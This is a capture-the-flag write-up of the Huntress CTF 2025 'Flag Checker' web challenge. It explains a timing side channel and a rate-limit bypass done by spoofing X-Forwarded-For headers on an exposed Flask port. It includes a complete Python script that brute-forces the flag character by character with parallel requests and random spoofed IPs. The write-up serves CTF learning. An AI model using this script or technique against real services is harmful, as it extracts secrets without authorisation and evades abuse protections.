Huntress CTF 2025 - Flag Checker
A web challenge exploiting timing-based vulnerabilities to extract a flag character by character, bypassing rate limiting through IP spoofing on an exposed Flask application.
Introduction
This write up covers the Flag Checker challenge from the 2025 Huntress CTF. Huntress CTF is a yearly CTF hosted by Huntress every October to celebrate cybersecurity awareness month, containing dozens of different challenges ranging from OSINT, to forensics, to full on web application penetration testing, and many more. To see my other write ups for this years CTF Click here.
Background
This challenge consisted of a simple webpage that only contained a text input field, where we could paste a string and check if it was the correct flag, as well as a warning telling us that it was futile to brute force answers. However, as is common with CTFs, brute forcing seemed like the only reasonable approach due to the simplicity of the web application.
Running gobuster for initial enumeration revealed only two endpoints: the main page and /submit.
Finding the Vulnerability
Deciding to test the /submit endpoint I realized that the application worked by sending the users input via a HTTP GET request and returning a response. Since this is a Huntress CTF challenge I assumed the flag would follow the common format of starting with flag{, so I sent that as my input and realized that the X-Response-Time: increased from being essentially 0 to being 500ms. Further testing of the payloads f, fl, fla, and flag revealed an interesting behavior: each correct character increased the servers response time by 100ms.
This gave me a clear idea on how to solver the challenge: brute force every character one by one, checking the response time of every response until it increments by 100ms, and then repeating for the next character until the entire flag is solved.
Exploiting the vulnerability (Failed Attempts)
After finding the intended vulnerability I hit a bit of a road block: the website had implemented rate limiting and would ban my IP address after only a few attempts and the response time would drop to almost nothing. Technically I could just reset the machine each time I hit the rate limit and continue from where I left off, but considering that huntress CTF flags are made up of 32 hexadecimal characters this could potentially take an obscene amount of time. At first I tried to bypass it by adding a delay between the requests, however even with 30 seconds between requests I would still end up banned, and any delay higher than that would take multiple days to complete even if it did work.
Next I attempted to send multiple hundred requests in parallel, figuring that if the rate limiter had a delay before kicking in I could at least brute force a few characters before being locked out. Finally I attempted to spoof my IP address by modifying the X-Forwarded-For, X-Real-IP, and X-Client-IP headers on my GET request, but it seemed like the server was stripping those headers before processing the request.
Exploiting the vulnerability (working)
While I was fairly certain that the key to solving this challenge was using the timing response header to brute force each character I accepted that my current methodology had hit a dead end, so I decided to enumerate the machine further. As mentioned above I already ran a gobuster scan and found very little but I had not ran an nmap scan, so I proceeded to do that.
The nmap scan proved to be crucial, as I found that the actual flask application that was checking the flag was exposed on port 5000. After realizing this I attempted to brute force the application directly, but was still rate limited. However, I found that by sending requests directly to the application on port 5000 I could spoof my IP address by modifying the X-Forwarded-For.
From here all I had to do was develop a script that would do the following:
- Send requests one after another, increasing the value of the current character from 0-F
- Capture the response time and check if it had incremented by 100ms
- Move on to the next character the response time increased or continue brute forcing the current character
- Check if the response time dropped dramatically (rate limited), spoofing a new IP address for the
X-Forwarded-Forif it did before continuing
With the help of Claude Code I eventually landed on this script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import requests
import random
import threading
import time
url = "http://10.1.51.150:5000/submit"
known_flag = "flag{"
charset = "abcdef0123456789"
def random_ip():
return f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
results = {}
lock = threading.Lock()
def test_char(char, known_flag):
"""Test a single character in parallel"""
headers = {
'X-Forwarded-For': random_ip(),
'X-Real-IP': random_ip()
}
try:
response = requests.get(
url,
params={"flag": known_flag + char},
headers=headers,
timeout=10
)
response_time = float(response.headers.get('X-Response-Time', 0))
with lock:
results[char] = response_time
print(f"'{char}': {response_time:.6f}s")
except Exception as e:
with lock:
results[char] = 0
print(f"'{char}': ERROR")
print(f"Starting flag extraction...")
print(f"Initial flag: {known_flag}\n")
# Start timer
start_time = time.time()
position = len(known_flag)
target_length = 37 # flag{32 hex chars} = 5 + 32 = 37
while position < target_length:
print(f"\n{'='*60}")
print(f"Position {position + 1}: {known_flag}")
print(f"{'='*60}")
threshold = position * 0.1 + 0.08
results.clear()
# Fire all requests in parallel
threads = []
for char in charset:
t = threading.Thread(target=test_char, args=(char, known_flag))
threads.append(t)
t.start()
# Wait for all to complete
for t in threads:
t.join()
# Find best
if results:
sorted_results = sorted(results.items(), key=lambda x: x[1], reverse=True)
best_char, best_time = sorted_results[0]
print(f"\nBest: '{best_char}' with {best_time:.6f}s (need >{threshold:.3f}s)")
if best_time > threshold:
known_flag += best_char
position += 1
print(f"✓ Found: {known_flag}")
else:
print("No clear winner")
break
time.sleep(0.5)
# Add closing bracket and finish
if position == target_length:
known_flag += '}'
elapsed_time = time.time() - start_time
print(f"\n{'='*60}")
print(f"🚩 COMPLETE FLAG: {known_flag}")
print(f"⏱️ Time taken: {elapsed_time:.2f} seconds ({elapsed_time/60:.2f} minutes)")
print(f"{'='*60}")
else:
elapsed_time = time.time() - start_time
print(f"\nPartial flag: {known_flag}")
print(f"Time elapsed: {elapsed_time:.2f} seconds ({elapsed_time/60:.2f} minutes)")
After running the script I finally managed to obtain the flag, and when testing it against the Flag Checker website ended up with the final flag.




